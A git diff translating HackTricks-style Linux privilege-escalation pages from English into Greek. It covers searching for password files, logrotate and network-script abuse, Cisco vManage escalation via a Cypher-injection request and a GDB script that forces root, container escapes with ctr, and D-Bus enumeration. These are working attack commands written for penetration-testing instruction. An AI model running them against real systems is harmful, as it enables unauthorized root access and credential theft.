και `/etc/shadow` μπορεί να έχουν διαφορετικό όνομα ή μπορεί να υπάρχει ένα αντίγραφο ασφαλείας. Επομένως, συνιστάται να **βρείτε όλα αυτά** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1280,15 +1280,15 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Γνωστά αρχεία που περιέχουν κωδικούς +### Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης -Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **πολλά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς**.\ -**Ένα άλλο ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) που είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών που είναι αποθηκευμένοι σε τοπικό υπολογιστή για Windows, Linux & Mac. +Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **πολλά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\ +**Ένα άλλο ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) που είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης που είναι αποθηκευμένοι σε τοπικό υπολογιστή για Windows, Linux & Mac. ### Καταγραφές Αν μπορείτε να διαβάσετε καταγραφές, μπορεί να είστε σε θέση να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές**. Όσο πιο παράξενη είναι η καταγραφή, τόσο πιο ενδιαφέρουσα θα είναι (πιθανώς).\ -Επίσης, κάποιες "**κακώς**" ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Επίσης, κάποιες **κακώς** ρυθμισμένες (πιθανώς με backdoor) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράφετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1323,16 +1323,16 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Εκμετάλλευση του Logrotate -Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών. +Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του καταλόγους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή καταγραφών. > [!NOTE] > Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με [**logrotten**](https://github.com/whotwagner/logrotten). +Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με το [**logrotten**](https://github.com/whotwagner/logrotten). -Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε διαπιστώσετε ότι μπορείτε να τροποποιήσετε τα logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να ανυψώσετε τα δικαιώματα αντικαθιστώντας τα logs με symlinks. +Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε βρείτε ότι μπορείτε να τροποποιήσετε τα logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να ανυψώσετε δικαιώματα αντικαθιστώντας τα logs με symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1342,7 +1342,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d). -Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο κενό διάστημα εκτελούνται ως root**. +Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό χώρο στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά τον λευκό/κενό χώρο**. Αυτό σημαίνει ότι **όλα μετά τον πρώτο λευκό χώρο εκτελούνται ως root**. Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1352,11 +1352,11 @@ DEVICE=eth0 ``` ### **init, init.d, systemd, και rc.d** -Ο φάκελος `/etc/init.d` είναι το σπίτι των **scripts** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελούνται άμεσα ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Ένας εναλλακτικός φάκελος στα συστήματα Redhat είναι το `/etc/rc.d/init.d`. +Ο φάκελος `/etc/init.d` είναι το σπίτι των **scripts** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελούνται απευθείας ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Ένας εναλλακτικός φάκελος στα συστήματα Redhat είναι το `/etc/rc.d/init.d`. Από την άλλη πλευρά, το `/etc/init` σχετίζεται με το **Upstart**, μια νεότερη **διαχείριση υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα scripts του SysVinit εξακολουθούν να χρησιμοποιούνται παράλληλα με τις ρυθμίσεις του Upstart λόγω ενός επιπέδου συμβατότητας στο Upstart. -**systemd** αναδύεται ως μια σύγχρονη διαχείριση εκκίνησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και στο `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος. +**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής αρχικοποίησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και στο `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος. ## Άλλες Τεχνικές @@ -1389,7 +1389,7 @@ cisco-vmanage.md ## Εργαλεία Privesc Linux/Unix -### **Καλύτερο εργαλείο για αναζήτηση τοπικών διαδρομών εκμετάλλευσης δικαιωμάτων Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Καλύτερο εργαλείο για αναζήτηση τοπικών διαδρομών ανύψωσης δικαιωμάτων Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/src/linux-hardening/privilege-escalation/cisco-vmanage.md b/src/linux-hardening/privilege-escalation/cisco-vmanage.md index d140dcd5a..b1fe0fea3 100644 --- a/src/linux-hardening/privilege-escalation/cisco-vmanage.md +++ b/src/linux-hardening/privilege-escalation/cisco-vmanage.md @@ -4,18 +4,15 @@ ## Path 1 -(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) - -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: +(Παράδειγμα από [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) +Μετά από λίγο ψάξιμο σε κάποια [documentation](http://66.218.245.39/doc/html/rn03re18.html) που σχετίζεται με το `confd` και τα διάφορα binaries (προσβάσιμα με έναν λογαριασμό στην ιστοσελίδα της Cisco), βρήκαμε ότι για να αυθεντικοποιήσει το IPC socket, χρησιμοποιεί ένα μυστικό που βρίσκεται στο `/etc/confd/confd_ipc_secret`: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` - -Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: - +Θυμάστε την εγκατάσταση Neo4j; Εκτελείται με τα δικαιώματα του χρήστη `vmanage`, επιτρέποντάς μας να ανακτήσουμε το αρχείο χρησιμοποιώντας την προηγούμενη ευπάθεια: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 @@ -27,9 +24,7 @@ Host: vmanage-XXXXXX.viptela.net "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` - -The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: - +Το πρόγραμμα `confd_cli` δεν υποστηρίζει παραμέτρους γραμμής εντολών αλλά καλεί το `/usr/bin/confd_cli_user` με παραμέτρους. Έτσι, θα μπορούσαμε να καλέσουμε απευθείας το `/usr/bin/confd_cli_user` με το δικό μας σύνολο παραμέτρων. Ωστόσο, δεν είναι αναγνώσιμο με τα τρέχοντα δικαιώματά μας, οπότε πρέπει να το ανακτήσουμε από το rootfs και να το αντιγράψουμε χρησιμοποιώντας scp, να διαβάσουμε τη βοήθεια και να το χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στο shell: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret @@ -47,15 +42,13 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` - ## Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) -The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. - -When I disassembled `/usr/bin/confd_cli` binary, I observed the following: +Το blog¹ της ομάδας synacktiv περιέγραψε έναν κομψό τρόπο για να αποκτήσετε ένα root shell, αλλά η προϋπόθεση είναι ότι απαιτεί να αποκτήσετε ένα αντίγραφο του `/usr/bin/confd_cli_user` το οποίο είναι αναγνώσιμο μόνο από τον root. Βρήκα έναν άλλο τρόπο για να αναβαθμίσω σε root χωρίς τέτοια ταλαιπωρία. +Όταν αποσυναρμολόγησα το δυαδικό αρχείο `/usr/bin/confd_cli`, παρατήρησα τα εξής: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … @@ -84,46 +77,40 @@ vmanage:~$ objdump -d /usr/bin/confd_cli 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` - -When I run “ps aux”, I observed the following (_note -g 100 -u 107_) - +Όταν εκτελώ το “ps aux”, παρατήρησα τα εξής (_note -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` +Υπέθεσα ότι το πρόγραμμα “confd_cli” περνά το αναγνωριστικό χρήστη και το αναγνωριστικό ομάδας που συνέλεξε από τον συνδεδεμένο χρήστη στην εφαρμογή “cmdptywrapper”. -I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +Η πρώτη μου προσπάθεια ήταν να εκτελέσω το “cmdptywrapper” απευθείας και να του παρέχω `-g 0 -u 0`, αλλά απέτυχε. Φαίνεται ότι δημιουργήθηκε ένας περιγραφέας αρχείου (-i 1015) κάπου στη διαδικασία και δεν μπορώ να τον προσποιηθώ. -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. +Όπως αναφέρθηκε στο blog της synacktiv (τελευταίο παράδειγμα), το πρόγραμμα `confd_cli` δεν υποστηρίζει παραμέτρους γραμμής εντολών, αλλά μπορώ να το επηρεάσω με έναν αποσφαλματωτή και ευτυχώς το GDB περιλαμβάνεται στο σύστημα. -As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. - -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +Δημιούργησα ένα σενάριο GDB όπου ανάγκαζα το API `getuid` και `getgid` να επιστρέφει 0. Δεδομένου ότι ήδη έχω δικαιώματα “vmanage” μέσω της αποσυμπίεσης RCE, έχω άδεια να διαβάσω το `/etc/confd/confd_ipc_secret` απευθείας. root.gdb: - ``` set environment USER=root define root - finish - set $rax=0 - continue +finish +set $rax=0 +continue end break getuid commands - root +root end break getgid commands - root +root end run ``` - -Console Output: - +Κονσόλα Έξοδος: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 @@ -157,5 +144,4 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 74f452daf..8578f5742 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic information +## Βασικές πληροφορίες Go to the following link to learn **what is containerd** and `ctr`: @@ -13,37 +13,29 @@ Go to the following link to learn **what is containerd** and `ctr`: ## PE 1 if you find that a host contains the `ctr` command: - ```bash which ctr /usr/bin/ctr ``` - -You can list the images: - +Μπορείτε να καταγράψετε τις εικόνες: ```bash ctr image list REF TYPE DIGEST SIZE PLATFORMS LABELS registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` - -And then **run one of those images mounting the host root folder to it**: - +Και στη συνέχεια **τρέξτε μία από αυτές τις εικόνες, προσαρτώντας τον φάκελο ρίζας του host σε αυτήν**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` - ## PE 2 -Run a container privileged and escape from it.\ -You can run a privileged container as: - +Τρέξτε ένα container με προνόμια και ξεφύγετε από αυτό.\ +Μπορείτε να τρέξετε ένα privileged container ως: ```bash - ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash +ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` - -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: +Μπορείτε να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην παρακάτω σελίδα για να **διαφύγετε από αυτό εκμεταλλευόμενοι τις προνομιακές δυνατότητες**: {{#ref}} docker-security/ diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 5cf9f9815..074c88745 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -4,36 +4,33 @@ ## **GUI enumeration** -D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with. +Το D-Bus χρησιμοποιείται ως ο μεσολαβητής επικοινωνιών διεργασιών (IPC) σε περιβάλλοντα επιφάνειας εργασίας Ubuntu. Στο Ubuntu, παρατηρείται η ταυτόχρονη λειτουργία αρκετών λεωφορείων μηνυμάτων: το σύστημα λεωφορείο, που χρησιμοποιείται κυρίως από **υπηρεσίες με προνόμια για να εκθέσουν υπηρεσίες σχετικές με το σύστημα**, και ένα λεωφορείο συνεδρίας για κάθε συνδεδεμένο χρήστη, εκθέτοντας υπηρεσίες σχετικές μόνο με αυτόν τον συγκεκριμένο χρήστη. Η εστίαση εδώ είναι κυρίως στο σύστημα λεωφορείο λόγω της σύνδεσής του με υπηρεσίες που εκτελούνται με υψηλότερα προνόμια (π.χ., root) καθώς ο στόχος μας είναι να ανυψώσουμε τα προνόμια. Σημειώνεται ότι η αρχιτεκτονική του D-Bus χρησιμοποιεί έναν 'δρομολογητή' ανά λεωφορείο συνεδρίας, ο οποίος είναι υπεύθυνος για την ανακατεύθυνση των μηνυμάτων πελατών στις κατάλληλες υπηρεσίες με βάση τη διεύθυνση που καθορίζουν οι πελάτες για την υπηρεσία με την οποία επιθυμούν να επικοινωνήσουν. -Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals. - -For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service. +Οι υπηρεσίες στο D-Bus ορίζονται από τα **αντικείμενα** και **διεπαφές** που εκθέτουν. Τα αντικείμενα μπορούν να παρομοιαστούν με τις περιπτώσεις κλάσεων σε τυπικές γλώσσες OOP, με κάθε περίπτωση να αναγνωρίζεται μοναδικά από μια **διαδρομή αντικειμένου**. Αυτή η διαδρομή, παρόμοια με μια διαδρομή συστήματος αρχείων, αναγνωρίζει μοναδικά κάθε αντικείμενο που εκτίθεται από την υπηρεσία. Μια βασική διεπαφή για ερευνητικούς σκοπούς είναι η διεπαφή **org.freedesktop.DBus.Introspectable**, η οποία διαθέτει μια μοναδική μέθοδο, την Introspect. Αυτή η μέθοδος επιστρέφει μια XML αναπαράσταση των υποστηριζόμενων μεθόδων, σημάτων και ιδιοτήτων του αντικειμένου, με εστίαση εδώ στις μεθόδους ενώ παραλείπονται οι ιδιότητες και τα σήματα. +Για την επικοινωνία με τη διεπαφή D-Bus, χρησιμοποιήθηκαν δύο εργαλεία: ένα εργαλείο CLI ονόματι **gdbus** για εύκολη κλήση μεθόδων που εκτίθενται από το D-Bus σε σενάρια, και το [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), ένα εργαλείο GUI βασισμένο σε Python σχεδιασμένο για να απαριθμεί τις διαθέσιμες υπηρεσίες σε κάθε λεωφορείο και να εμφανίζει τα αντικείμενα που περιέχονται σε κάθε υπηρεσία. ```bash sudo apt-get install d-feet ``` - ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed. +Στην πρώτη εικόνα εμφανίζονται οι υπηρεσίες που είναι καταχωρημένες με το σύστημα D-Bus, με το **org.debin.apt** να επισημαίνεται ειδικά μετά την επιλογή του κουμπιού System Bus. Το D-Feet ερωτά αυτή την υπηρεσία για αντικείμενα, εμφανίζοντας διεπαφές, μεθόδους, ιδιότητες και σήματα για επιλεγμένα αντικείμενα, όπως φαίνεται στη δεύτερη εικόνα. Η υπογραφή κάθε μεθόδου είναι επίσης λεπτομερής. -A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance. +Μια αξιοσημείωτη δυνατότητα είναι η εμφάνιση του **process ID (pid)** και της **γραμμής εντολών** της υπηρεσίας, χρήσιμη για την επιβεβαίωση αν η υπηρεσία εκτελείται με ανυψωμένα δικαιώματα, σημαντική για τη σχετικότητα της έρευνας. -**D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service. +**Το D-Feet επιτρέπει επίσης την κλήση μεθόδων**: οι χρήστες μπορούν να εισάγουν εκφράσεις Python ως παραμέτρους, τις οποίες το D-Feet μετατρέπει σε τύπους D-Bus πριν τις περάσει στην υπηρεσία. -However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. +Ωστόσο, σημειώστε ότι **ορισμένες μέθοδοι απαιτούν αυθεντικοποίηση** πριν μας επιτρέψουν να τις καλέσουμε. Θα αγνοήσουμε αυτές τις μεθόδους, καθώς ο στόχος μας είναι να ανυψώσουμε τα δικαιώματά μας χωρίς διαπιστευτήρια εξαρχής. -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. +Επίσης, σημειώστε ότι ορισμένες από τις υπηρεσίες ερωτούν μια άλλη υπηρεσία D-Bus που ονομάζεται org.freedeskto.PolicyKit1 αν πρέπει να επιτραπεί σε έναν χρήστη να εκτελέσει ορισμένες ενέργειες ή όχι. ## **Cmd line Enumeration** -### List Service Objects - -It's possible to list opened D-Bus interfaces with: +### Λίστα Αντικειμένων Υπηρεσίας +Είναι δυνατόν να καταγραφούν οι ανοιχτές διεπαφές D-Bus με: ```bash busctl list #List D-Bus interfaces @@ -57,15 +54,13 @@ org.freedesktop.PolicyKit1 - - - (act org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - ``` +#### Συνδέσεις -#### Connections +[Από τη wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Όταν μια διαδικασία ρυθμίζει μια σύνδεση σε ένα λεωφορείο, το λεωφορείο αναθέτει στη σύνδεση ένα ειδικό όνομα λεωφορείου που ονομάζεται _μοναδικό όνομα σύνδεσης_. Τα ονόματα λεωφορείου αυτού του τύπου είναι αμετάβλητα—είναι εγγυημένο ότι δεν θα αλλάξουν όσο υπάρχει η σύνδεση—και, πιο σημαντικά, δεν μπορούν να ξαναχρησιμοποιηθούν κατά τη διάρκεια της ζωής του λεωφορείου. Αυτό σημαίνει ότι καμία άλλη σύνδεση σε αυτό το λεωφορείο δεν θα έχει ποτέ ανατεθεί ένα τέτοιο μοναδικό όνομα σύνδεσης, ακόμη και αν η ίδια διαδικασία κλείσει τη σύνδεση στο λεωφορείο και δημιουργήσει μια νέα. Τα μοναδικά ονόματα σύνδεσης είναι εύκολα αναγνωρίσιμα επειδή ξεκινούν με τον—κατά τα άλλα απαγορευμένο—χαρακτήρα άνω και κάτω τελείας. -[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. - -### Service Object Info - -Then, you can obtain some information about the interface with: +### Πληροφορίες Αντικειμένου Υπηρεσίας +Στη συνέχεια, μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με τη διεπαφή με: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -94,54 +89,50 @@ AuditLoginUID=n/a AuditSessionID=n/a UniqueName=:1.3 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read PermittedCapabilities=cap_chown 